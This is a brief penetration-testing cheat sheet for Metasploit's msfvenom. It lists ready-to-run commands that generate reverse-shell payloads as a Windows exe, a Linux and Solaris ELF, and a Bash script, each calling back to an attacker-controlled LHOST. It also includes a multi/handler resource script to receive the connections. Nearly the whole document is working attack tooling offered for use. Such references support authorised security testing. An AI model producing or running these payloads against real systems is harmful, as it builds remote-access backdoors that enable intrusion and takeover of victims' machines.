msfvenom

MsfVenom is a Metasploit standalone payload generator as a replacement for msfpayload and msfencode.

Example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={Port} -f exe -o shell.exe

Handler:

Use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST  
set LPORT  
set ExitOnSession false  
exploit -j -z 

*copy into a file with .rc extenation and run as:

msfconsole -r example.rc

Common payloads:

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Bash:

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Solaris:

msfvenom -p solaris/x86/shell_reverse_tcp lhost=10.10.14.6 lport=5555 -f elf > /root/Desktop/raj.elf